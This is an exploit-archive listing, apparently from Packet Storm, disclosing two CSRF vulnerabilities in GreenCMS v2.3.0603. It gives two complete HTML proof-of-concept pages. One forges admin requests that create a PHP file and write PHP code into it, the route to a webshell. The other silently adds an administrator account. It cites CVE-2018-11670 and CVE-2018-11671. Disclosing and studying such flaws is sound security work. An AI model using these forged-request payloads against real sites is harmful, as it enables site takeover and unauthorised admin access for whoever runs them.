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GreenCMS 2.3.0603 Cross Site Request Forgery

🗓️ 03 Jun 2018 00:00:00Reported by xichaoType 
packetstorm
 packetstorm
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GreenCMS 2.3.0603 CSRF vulnerabilities to get webshell and add admin accoun

Related
Code
`Exploit 1 of 2:  
  
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell  
# Date: 2018-06-02  
# Exploit Author: xichao  
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS  
# Software Link: https://github.com/GreenCMS/GreenCMS  
# Version: v2.3.0603  
# CVE : CVE-2018-11670  
  
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that  
allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.  
  
poc:  
  
<span style="font-size:18px;"><!DOCTYPE html>   
<html lang="en">   
<head>   
<meta charset="UTF-8">   
<title>csrftest</title>   
</head>   
<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">  
<script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>  
<input type="hidden" name="cmd" value="put">  
<input type="hidden" name="target" value="l1_eGMucGhw">  
a <input type="hidden" name="content" value="<?php phpinfo();?>">  
<button type="submit" value="Submit">WebShell</button>  
</form>  
</body>  
</html></span>  
  
References:  
http://www.iwantacve.cn/index.php/archives/38/  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670  
https://github.com/GreenCMS/GreenCMS/issues/108  
  
----------------  
Exploit 2 of 2:  
  
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin  
# Date: 2018-06-02  
# Exploit Author: xichao  
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS  
# Software Link: https://github.com/GreenCMS/GreenCMS  
# Version: v2.3.0603  
# CVE : CVE-2018-11671  
  
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.  
  
poc:  
  
<span style="font-size:18px;"><!DOCTYPE html>   
<html lang="en">   
<head>   
<meta charset="UTF-8">   
<title>csrftest</title>   
</head>   
aa<body>   
aaaa<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">   
aaaaaaaa<input type="hidden" name="user_id0" value="1">   
aaaaaaaa<input type="hidden" name="user_login" value="test1">  
aaaaaaaa<input type="hidden" name="password" value="test1">   
aaaaaaaa<input type="hidden" name="rpassword" value="test1">   
aaaaaaaa<input type="hidden" name="user_nicename" value="123">   
aaaaaaaa<input type="hidden" name="user_email" value="123%40Qq.com">   
aaaaaaaa<input type="hidden" name="user_url" value="www.baidu.com">   
aaaaaaaa<input type="hidden" name="user_intro" value="test">   
aaaaaaaa<input type="hidden" name="user_status" value="1">   
aaaaaaaa<input type="hidden" name="role_id" value="1">  
<button type="submit" value="Submit">add admin</button>   
aaaaaa</form>   
</body>  
</html></span>  
  
References:  
http://www.iwantacve.cn/index.php/archives/39/  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671  
https://github.com/GreenCMS/GreenCMS/issues/109  
  
`

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03 Jun 2018 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.00233
28